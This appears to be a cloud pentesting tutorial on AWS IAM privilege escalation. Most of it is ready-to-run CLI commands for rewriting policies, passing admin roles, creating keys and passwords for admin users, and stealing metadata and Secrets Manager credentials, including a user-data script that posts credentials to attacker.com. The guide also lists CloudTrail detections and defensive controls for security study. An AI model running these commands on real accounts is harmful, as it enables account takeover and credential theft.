AWS IAM is both the most powerful and most abused system in cloud security. Get the permissions wrong — even slightly — and an attacker can go from a low-privilege read-only role to full AdministratorAccess in under five minutes.
This guide covers every IAM privilege escalation technique that works in 2026. Real attack paths, real commands, detection notes where relevant. If you’re doing cloud pentesting, red team engagements, or studying for AWS security certs — this is the complete reference.
You’ll need a test environment. Spin up a dedicated AWS account. If you want a VPS to run tooling from, Vultr and DigitalOcean are solid choices.
Why IAM Privilege Escalation is Different
In traditional environments, privesc means local exploits, misconfigured SUID binaries, or kernel vulnerabilities. AWS is different. The attack surface is almost entirely policy-based.
A single misconfigured permission — iam:PassRole, iam:CreatePolicyVersion, lambda:InvokeFunction — can hand you the keys to an entire AWS account. No exploit required. Just a misconfigured JSON document.
This makes IAM privilege escalation:
- Stealthy — it looks like normal API usage in CloudTrail
- Reliable — no exploit reliability concerns, policies either allow it or they don’t
- High-impact — a single path often leads directly to account-wide admin
Setup: Tools and Enumeration First
Before you escalate, you need to know what you’re working with.
Enumerate Current Identity
# Who am I?
aws sts get-caller-identity
# What policies are attached to me?
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>
# What groups am I in?
aws iam list-groups-for-user --user-name <username>
# If you're a role, check the role's policies
aws iam list-attached-role-policies --role-name <role-name>
aws iam list-role-policies --role-name <role-name>
Get Policy Documents
# Get the current version of a managed policy
aws iam get-policy --policy-arn <policy-arn>
aws iam get-policy-version --policy-arn <policy-arn> --version-id v1
# Get inline policy document
aws iam get-user-policy --user-name <username> --policy-name <policy-name>
aws iam get-role-policy --role-name <role-name> --policy-name <policy-name>
Automated Enumeration with Pacu
Pacu is the go-to AWS exploitation framework. For IAM enum:
# Install
pip install pacu
# Run
pacu
# In Pacu console:
Pacu> import_keys --profile <profile>
Pacu> run iam__enum_permissions
Pacu> run iam__privesc_scan
iam__privesc_scan will automatically identify which privilege escalation paths are available to you based on your current permissions.
Enumerate with enumerate-iam
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip install -r requirements.txt
python enumerate-iam.py --access-key <key> --secret-key <secret>
Brute-forces every API call to discover what permissions you actually have (not just what’s in the policy document). Essential when you have credentials but no context.
Technique 1: iam:CreatePolicyVersion
Required permission: iam:CreatePolicyVersion
This is the cleanest path. If you can create new versions of an existing managed policy — especially one attached to a more privileged entity — you can write a new version granting *:* and set it as the default.
# Check how many versions currently exist
aws iam list-policy-versions --policy-arn <policy-arn>
# Create a new version with AdministratorAccess
aws iam create-policy-version \
--policy-arn <policy-arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
AWS allows a maximum of 5 versions per policy. If there are already 5, you need to delete one first:
aws iam delete-policy-version --policy-arn <policy-arn> --version-id v1
Detection: CloudTrail logs CreatePolicyVersion and SetDefaultPolicyVersion. This is suspicious when the new version is overly permissive — GuardDuty doesn’t catch this by default, but a well-tuned SIEM will.
Technique 2: iam:SetDefaultPolicyVersion
Required permission: iam:SetDefaultPolicyVersion
Slightly different from the above. If a policy has multiple versions already — maybe a previous admin created a permissive version and it’s sitting there as v2 — you can flip it to default without creating anything new.
# List all versions
aws iam list-policy-versions --policy-arn <policy-arn>
# Set a more permissive existing version as default
aws iam set-default-policy-version --policy-arn <policy-arn> --version-id v2
Less noisy than creating a new version. Same end result.
Technique 3: iam:PassRole + Services
Required permissions: iam:PassRole + service-specific permissions (e.g., ec2:RunInstances, lambda:CreateFunction)
iam:PassRole lets you attach an IAM role to an AWS service when creating a resource. If the role you’re passing has higher privileges than you do — game over.
PassRole + EC2
You need iam:PassRole and ec2:RunInstances. Launch an EC2 instance with an admin role attached, then access the instance metadata service to get credentials.
# Launch instance with high-privilege role
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminProfile \
--user-data '#!/bin/bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/role.txt
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat /tmp/role.txt) > /tmp/creds.json
curl -X POST https://attacker.com/creds -d @/tmp/creds.json' \
--count 1
# Or SSM into the instance
aws ssm start-session --target <instance-id>
# Then on the instance:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
PassRole + Lambda
More common path. Create a Lambda function, attach a high-privilege role, invoke it to exfiltrate credentials.
# Create the Lambda function (with an admin role attached)
aws lambda create-function \
--function-name privesc-func \
--runtime python3.12 \
--role arn:aws:iam::<account-id>:role/AdminRole \
--handler index.handler \
--zip-file fileb://function.zip
# function code (index.py):
# import boto3, json
# def handler(event, context):
# sts = boto3.client('sts')
# return sts.get_caller_identity()
# Invoke to confirm admin identity
aws lambda invoke \
--function-name privesc-func \
--payload '{}' \
output.json
cat output.json
PassRole + Glue
Glue jobs run arbitrary code with an attached role. Useful when Lambda isn’t available.
aws glue create-job \
--name privesc-job \
--role arn:aws:iam::<account-id>:role/AdminRole \
--command '{"Name":"glueetl","ScriptLocation":"s3://your-bucket/script.py"}' \
--glue-version "3.0"
aws glue start-job-run --job-name privesc-job
Technique 4: iam:CreateAccessKey
Required permission: iam:CreateAccessKey
Simple. If you can create access keys for other users, create them for an admin user and use those credentials directly.
# List users to find admins
aws iam list-users
# Create access key for admin user
aws iam create-access-key --user-name admin-user
# Output contains AccessKeyId and SecretAccessKey — use them directly
export AWS_ACCESS_KEY_ID=<new-key>
export AWS_SECRET_ACCESS_KEY=<new-secret>
aws sts get-caller-identity
Detection: CloudTrail logs CreateAccessKey. If the calling identity is different from the target user, it’s almost always flagged.
Technique 5: iam:CreateLoginProfile / iam:UpdateLoginProfile
Required permissions: iam:CreateLoginProfile or iam:UpdateLoginProfile
If an admin user doesn’t have a console login, create one. If they do, change their password.
# Create a console login for an existing IAM user that doesn't have one
aws iam create-login-profile \
--user-name admin-user \
--password 'Sup3rS3cur3P@ss!' \
--no-password-reset-required
# Or update existing password
aws iam update-login-profile \
--user-name admin-user \
--password 'Sup3rS3cur3P@ss!'
Then log in via https://<account-id>.signin.aws.amazon.com/console.
Technique 6: iam:AttachUserPolicy / iam:AttachRolePolicy
Required permissions: iam:AttachUserPolicy or iam:AttachRolePolicy
Attach the AdministratorAccess managed policy directly to yourself.
# Attach AdministratorAccess to your own user
aws iam attach-user-policy \
--user-name <your-username> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Or attach to a role you can assume
aws iam attach-role-policy \
--role-name <role-name> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Technique 7: iam:PutUserPolicy / iam:PutRolePolicy
Required permissions: iam:PutUserPolicy or iam:PutRolePolicy
Instead of attaching a managed policy, write an inline policy directly to yourself.
# Add inline admin policy to your own user
aws iam put-user-policy \
--user-name <your-username> \
--policy-name PrivEsc \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
# Same for a role
aws iam put-role-policy \
--role-name <role-name> \
--policy-name PrivEsc \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
Technique 8: iam:AddUserToGroup
Required permission: iam:AddUserToGroup
If a group has admin access or elevated permissions, add yourself to it.
# List groups and their policies first
aws iam list-groups
aws iam list-attached-group-policies --group-name admin-group
# Add yourself to the admin group
aws iam add-user-to-group --user-name <your-username> --group-name admin-group
Technique 9: sts:AssumeRole
Required permission: sts:AssumeRole on a target role
If you can assume a role that’s more privileged than you, assume it. Sometimes the trust policy is wide open.
# Check what roles you can assume (look for sts:AssumeRole in your policies)
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::<account-id>:user/<username> \
--action-names sts:AssumeRole \
--resource-arns arn:aws:iam::<account-id>:role/AdminRole
# Assume the role
aws sts assume-role \
--role-arn arn:aws:iam::<account-id>:role/AdminRole \
--role-session-name privesc
# Use the temporary credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
aws sts get-caller-identity
Check for overly permissive trust policies:
aws iam get-role --role-name AdminRole --query 'Role.AssumeRolePolicyDocument'
Look for "Principal": "*" or principals that include your account broadly. Also check cross-account trust policies — sometimes internal roles trust the entire account (arn:aws:iam::<account-id>:root), meaning any user or role in that account can assume it.
Technique 10: iam:UpdateAssumeRolePolicy
Required permission: iam:UpdateAssumeRolePolicy
Modify the trust policy of an existing role to include yourself as a trusted principal, then assume it.
# Update the trust policy to allow your user to assume the role
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<account-id>:user/<your-username>"
},
"Action": "sts:AssumeRole"
}
]
}'
# Now assume the role
aws sts assume-role \
--role-arn arn:aws:iam::<account-id>:role/AdminRole \
--role-session-name privesc
Technique 11: EC2 Instance Metadata (SSRF to IAM Credentials)
Not a direct IAM permission issue, but worth including because it’s how you often get the credentials you then escalate with.
If an EC2 instance has an IAM role attached and you get code execution on it (SSRF, RCE, etc.), hit the metadata service:
# IMDSv1 (no token required — still exists on older/misconfigured instances)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# IMDSv2 (requires token — but if you have SSRF, you can often get it)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
The response gives you AccessKeyId, SecretAccessKey, and Token — valid temporary credentials for the attached role.
Technique 12: SSM Parameter Store / Secrets Manager
Not IAM-specific, but often a lateral path to higher privileges.
# List all SSM parameters
aws ssm describe-parameters
# Get parameter values (may contain passwords, keys, tokens)
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
# List Secrets Manager secrets
aws secretsmanager list-secrets
# Get secret values
aws secretsmanager get-secret-value --secret-id <secret-id>
You’re looking for hardcoded credentials, admin passwords, or API keys that belong to more privileged accounts.
Pacu: Automated Privesc Scanning
If you want a systematic scan of all available paths:
# In Pacu
Pacu> run iam__privesc_scan
# This checks for all the techniques above automatically
# Output will list which escalation paths are available
Pacu’s iam__privesc_scan module covers over 20 privilege escalation techniques and will tell you exactly which paths are open based on your current permissions.
Chaining Techniques
Real engagements rarely involve a single clean path. More often you chain:
- SSRF on EC2 → get IAM role credentials
- Enumerate those credentials → find
iam:PassRole - PassRole + Lambda → run code as admin role
- From admin role → create permanent access key on an admin user
Or:
- Start with low-privilege user → find
iam:CreatePolicyVersionon a policy attached to a more privileged user - Rewrite the policy → grant yourself
iam:* - Now attach AdministratorAccess to yourself directly
The goal is always the same: get to a point where you can attach arn:aws:iam::aws:policy/AdministratorAccess to an identity you control — or get credentials for one that already has it.
Detection and Defense
If you’re on the blue side, these are the CloudTrail events to watch:
| Event | Technique |
|---|---|
CreatePolicyVersion | Technique 1 |
SetDefaultPolicyVersion | Technique 2 |
PassRole + RunInstances/CreateFunction | Technique 3 |
CreateAccessKey (calling identity ≠ target) | Technique 4 |
CreateLoginProfile / UpdateLoginProfile | Technique 5 |
AttachUserPolicy / AttachRolePolicy | Technique 6 |
PutUserPolicy / PutRolePolicy | Technique 7 |
AddUserToGroup | Technique 8 |
AssumeRole (unexpected principal) | Technique 9 |
UpdateAssumeRolePolicy | Technique 10 |
Key defensive controls:
- Enable AWS Config with IAM-related rules (
iam-no-inline-policy-check,iam-policy-no-statements-with-admin-access) - GuardDuty with IAM threat detection enabled
- SCP (Service Control Policies) in AWS Organizations — hard-limit what can be done even with admin
- Require MFA for
sts:AssumeRoleon sensitive roles - Lock down
iam:PassRole— it should be scoped to specific roles, not*
Practice Environment
Don’t practice these on production accounts. Build a dedicated AWS lab:
- Create a fresh AWS account
- Create a low-privilege IAM user with specific misconfigurations
- Run through the techniques above
- Clean up after each test
Vultr and DigitalOcean are good for running the attack tooling from — cheap VPS, easy to spin up and destroy.
For structured cloud security practice, TryHackMe and Hack The Box both have AWS-focused rooms and labs worth working through.
Related Articles
- AWS Pentesting Guide 2026: How to Attack Cloud Infrastructure
- Azure Pentesting Guide 2026: Red Teaming Microsoft Cloud
- Cloud Pentesting Tools 2026: Pacu, ScoutSuite, Prowler & More
- Linux Privilege Escalation Cheat Sheet 2026
- Windows Privilege Escalation Cheat Sheet 2026
Need Professional Cloud Security Content?
If you need in-depth cloud security articles, pentest reports, or technical documentation written for your organization, check out CipherWrite — technical security writing by practitioners, for practitioners.
